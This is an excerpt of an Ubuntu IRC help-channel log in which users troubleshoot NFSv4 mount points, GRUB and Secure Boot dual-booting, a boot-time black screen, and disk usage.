| arayaq | InevBetrayal: Yes, if you want to edit the file, you have to mount the filesystem first | 22:13 |
| wessel | bekks, this line is not in my config file? | 22:14 |
| InevBetrayal | arayaq, i do have an option to update the grub bootloader, will this change be permanent or is it single boot? | 22:15 |

| wessel | If I download an .pgn file to serve as an custom icon for my launcher, should I put this in usr/share? | 22:35 |
| k1l_ | Connor: use a desktop that is supposed to let you modify that | 22:36 |
| winterpk | so then anyway that command acutually works fine | 22:36 |
| winterpk | and mounts to the folder /var/www/sitename | 22:36 |
| winterpk | perfect | 22:36 |
| ikonia | winterpk: what was the command you used ? | 22:36 |
| ikonia | winterpk: exactly please. | 22:36 |

| winterpk | forget it | 22:47 |
| winterpk | god I wish I could start over | 22:47 |
| ikonia | winterpk: the mount point is /var/www/sitename still and the share is :/ not :/users | 22:47 |
| shaiguitar | OerHeks: I'm headless, it's a server with ssh access | 22:48 |
| winterpk | upd: That is my exact problem | 22:48 |
| winterpk | mounting with / works | 22:48 |
| shaiguitar | shit, brb though. hopefully you'll be around soon gotta afk bbiab | 22:48 |
| upd | you give link https://help.ubuntu.com/community/SettingUpNFSHowTo#NFSv4_client | 22:48 |
| winterpk | but if I specify a folder on the remote server it tells me it doesn't exist | 22:48 |
| upd | did you read Note that nfs-server:/export is not necessary in NFSv4, as it is in NFSv3. The root export :/ defaults to export with fsid=0. | 22:49 |
| winterpk | yes | 22:49 |
| winterpk | but the problem is, that I don't just want to mount the entire tree all in one line | 22:49 |
| winterpk | I need separate mount points | 22:49 |
| upd | from here someone will help you that understand this :D | 22:49 |
| winterpk | lol thanks, was really having a hard time explaing myself there | 22:49 |
| upd | from what i understand you have to mount entire tree and then subfolders :s | 22:50 |
| winterpk | but NFSv3 could do individual folders? | 22:50 |
| winterpk | that seems like a step backwards | 22:50 |
| upd | yea im probably wrong ... | 22:51 |
| winterpk | ugh that screws my whole plan | 22:51 |
| ikonia | winterpk: you can mount individual shares | 22:51 |
| winterpk | does anyone have any input on this that isn't going to yell at me? | 22:51 |
| ikonia | winterpk: you do not need to mount the root file system | 22:51 |
| winterpk | ikonia:but it fails with anything else | 22:52 |
| bekks | winterpk: why exactly do you need (really need) NFSv4 - and why exactly cant you mount individual shares? | 22:52 |
| ikonia | winterpk: yes, I see that, howevever you'll need to work it through, - check your shares are exported correctly is a first starting point | 22:52 |
| winterpk | I don't specificially need NFSv4 | 22:52 |
| bekks | winterpk: Then use NFSv3. | 22:53 |

| upd | winterpk, some post from forums After more research, I found out the problem. It's that nfs4 has a different paradigm than earlier versions. The basic solution is this: | 23:07 |
| upd | mount -t nfs4 host:/ /mnt | 23:07 |
| upd | The nfs4 system uses a single hierarchical tree to export--it isn't capable of exporting multiple separate directories or filesystems. You can use the mount -bind <real_dir> <pseudo_dir> strategy to create a single hierarchical tree with all the directories you want to export, and on the client machines you can mount the desired individual portions of the tree. However, I haven't yet found a way to set up the exports to permit some clients to have access to so | 23:07 |
| upd | me portions of the hierarchy and other clients to have access to other portions. So far I've found that any restrictions on the root of the hierarchical tree are carried to all the branches and leaves. It's not a huge problem for my current situation, but it seems that nfs4 would not be very useful for a real "file server" that allocates various filesystems to various groups of users. | 23:07 |

| wizardaeon | Pici, thank you | 23:37 |

| rhagu | Fyodorovna that command will change my grub.cfg by applying /etc/default/grub but wont show me the actual menu | 23:38 |
| designbybeck___ | wizardaeon: I haven't got it working on this laptop, but I have done clean installs and gotten ubuntu to load on other EFI laptops | 23:38 |
| shaiguitar | I don't know why, but somereason it worked now (and I got the branch built, ty). | 23:38 |

| designbybeck___ | wizardaeon: I've done hundreds of installs for people...until this Windows Secure Boot crap came along!!!! | 23:40 |
| wizardaeon | design, same-- but I havent done a secure boot install- its something new I need to learn | 23:41 |
| wizardaeon | im running Zorin OS right now, I believe it is Ubuntu 7 based | 23:41 |
| Fyodorovna | rahgu, You might state your actual goal for more info. | 23:41 |
| designbybeck___ | the thing is this as windows 7 on it.... and something is stopping grub from dualbooting | 23:41 |
| designbybeck___ | grub doesn't pull up | 23:41 |
| Fyodorovna | wizardaeon, not supported here. | 23:42 |
| wizardaeon | design, who is the laptop manufacturer? what processor? | 23:42 |
| wizardaeon | kk fyodorovna, Im used to open chat rooms, Ill try to stay on topic | 23:42 |
| Fyodorovna | it helps | 23:43 |
| designbybeck___ | wizardaeon: ASUS K55A laptop | 23:43 |
| designbybeck___ | intel i5 | 23:44 |
| wizardaeon | designbybeck, is it possible to reinstall all OS on the laptop under non EFI boot | 23:45 |
| designbybeck___ | wizardaeon: she had so many viruses and such on this windows side which is why i'm trying to get her Linux | 23:46 |
| designbybeck___ | but she needs a few things on the windows side | 23:46 |
| wizardaeon | reason I am asking, | 23:46 |
| designbybeck___ | I have backup her data, but i don't have any windows disk to reinstall anything | 23:46 |
| Fyodorovna | a full wipe and setting the ios to legacy should allow msdos partitioning | 23:46 |
| wizardaeon | design, I know exactly how to fix that. I fixed a windows laptop couple of days ago | 23:47 |
| dtcrshr | does i5 processors runs PP 12.04.02 amd64? or theres an intel specific for 64bits? | 23:47 |
| fowlslegs | So if I add rw as a root flag in my kernel options and I am using mkinitcpio's fsck hook, can I remove rw from my fstab options for the root partition? | 23:47 |
| designbybeck___ | like I said the ubuntu install seemed to go ok, it was just when i rebooted, It doesn't give me grub and goes right into windows | 23:47 |
| Fyodorovna | designbybeck, you might look here. http://ubuntuforums.org/showthread.php?t=2147295 | 23:49 |
| wizardaeon | you can download the windows ISO from microsoft, get the one that was installed on that laptop, wipe the drive, reinstall, use the windows key that was used to activate that copy of windows, then call microsoft to reactivate your windows key. You type in a 25 digit code, then windows is running again- then you can just install Ubuntu right beside it like you normally would | 23:49 |
| designbybeck___ | Thanks Fyodorovna I haven't seen that post yet, I'll go through it | 23:49 |
| matubaum | hello, I want to install ubuntu on my new dell computer. I have a usb bootloader with gparted. After selecting any option on the GRUB I get a blackscreen... any ideas? | 23:49 |
| Fyodorovna | a iso download will not activate with a oem | 23:50 |
| designbybeck___ | (#$*(#@^(*$ no way wizardaeon | 23:50 |
| designbybeck___ | ha | 23:50 |
| wizardaeon | it worked for me | 23:50 |
| wizardaeon | but I didnt put Ubuntu on it, the customer authorized me to put Linux on it, but I saved his windows partition= which was full of viruses | 23:50 |
| wizardaeon | I had to wipe the laptops restore partition too | 23:51 |

| Fyodorovna | !nomodeset | marubaum use a install disc | 23:52 |
| duffy | f.y .l. | 23:52 |
| ubottu | marubaum use a install disc: A common kernel (boot)parameter is nomodeset, which is needed for some graphic cards that otherwise boot into a black screen or show corrupted splash screen. See http://ubuntuforums.org/showthread.php?t=1613132 on how to use this parameter | 23:52 |
| cpined | Hello, I'm trying to figure out what is taking up my space..I have 16 gigs and already about 97% is being used..I ran du -sh * on my home folder and it says I have 5.5 gigs being used... | 23:53 |
| jrib | cpined: use baobab | 23:53 |
| cpined | but when I go in the folder the du -sh * command shows files and sub folders that don't add up to the 5.5 gigs | 23:53 |
| Fyodorovna | wizardaeon, we got your claims, a oem will not activate that way, and is bad advice. | 23:54 |
| cpined | ok..I installed baobab ... it is still executing. | 23:57 |
